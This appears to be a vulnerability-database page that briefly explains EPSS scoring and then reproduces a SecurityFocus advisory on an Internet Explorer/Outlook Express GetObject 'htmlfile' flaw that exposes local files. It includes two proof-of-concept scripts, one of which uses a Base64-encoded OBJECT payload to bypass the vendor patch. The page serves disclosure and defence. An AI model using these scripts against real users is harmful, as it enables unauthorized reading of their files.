EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

source: https://www.securityfocus.com/bid/1718/info It is possible for an outside attacker to view known files on a remote system if the target user visits a website or opens an email containing a specially formed script containing the JScript function 'GetObject()' and the ActiveX object 'htmlfile'. Microsoft Internet Explorer or Outlook Express will grant full access to the DOM of a HTML document object if the following code is inserted into HTML formatted document (the 'I" in SCRIPT has been replaced with a "!"): <SCR!PT> alert("Alert Message"); a=GetObject("c:\\path\filename.ext","htmlfile"); setTimeout("alert(a.body.innerText);",2000); </SCR!PT> A malicious website operator may be able to view any known file on a remote system through this vulnerability if the website visitor is using Microsoft Internet Explorer. This vulnerability is due to a flaw in Windows Script Host (WSH), WSH does not properly verify a domain for certain requests in IE and Outlook Express. **New proof of concept code for this vulnerability can affect users who have already applied the Microsoft supplied patch for this issue. The new code uses Base64 encoding embedded within the HTML, which effectively bypasses the security provided by the patch. <HTML>  <BODY>  <OBJECT ID="myObject" WIDTH=300 HEIGHT=250 CLASSID="CLSID:25336921-03F9-11CF-8FD0-00AA00686F13" data="data:application/x-oleobject;base64,IGkzJfkDzxGP0ACqAGhvEzxzY3JpcHQ+ZG9jdW1lbnQubG9jYXRpb24uaHJlZj0iZmlsZTovL2M6XFx0ZXN0LnR4dCI7PC9zY3JpcHQ+"> </OBJECT> <SCRIPT> // Base64 decoder ripped from Robert Graham's page at http://www.robertgraham.com/tools/base64coder.html function myBase64Decode(str) { var result = "", i = 0, x, shiftreg = 0, count = -1; for (i=0; i < str.length; i++) { c = str.charAt(i); if ('A' <= c && c <= 'Z') x = str.charCodeAt(i) - 65; else if ('a' <= c && c <= 'z') x = str.charCodeAt(i) - 97 + 26; else if ('0' <= c && c <= '9') x = str.charCodeAt(i) - 48 + 52; else if (c == '+') x = 62; else if (c == '/') x = 63; else continue; count++; switch (count % 4) { case 0: shiftreg = x; continue; case 1: v = (shiftreg<<2) | (x >> 4); shiftreg = x & 0x0F; break; case 2: v = (shiftreg<<4) | (x >> 2); shiftreg = x & 0x03; break; case 3: v = (shiftreg<<6) | (x >> 0); shiftreg = x & 0x00; break; } if ((v < 32 || v > 126) && (v != 0x0d) && (v != 0x0a)) { result = result + "<"; result = result + "0123456789ABCDEF".charAt((v/16)&0x0F); result = result + "0123456789ABCDEF".charAt((v/1)&0x0F); result = result + ">"; } else { result = result + String.fromCharCode(v); } } return result.toString(); } function ReadFile() { Data = myObject.outerHTML; Data = Data.substr(Data.indexOf("IGkz")); // start of encoded string Data = Data.substr(0,Data.indexOf(" ")); // end of encoded string alert(myBase64Decode(Data)); // decode and display } alert('Create the file c:\\test.txt and it will be read!'); setTimeout("ReadFile();",3000); //setTimeout("alert(myObject.outerHTML);",2000); </SCRIPT> </BODY> </HTML>
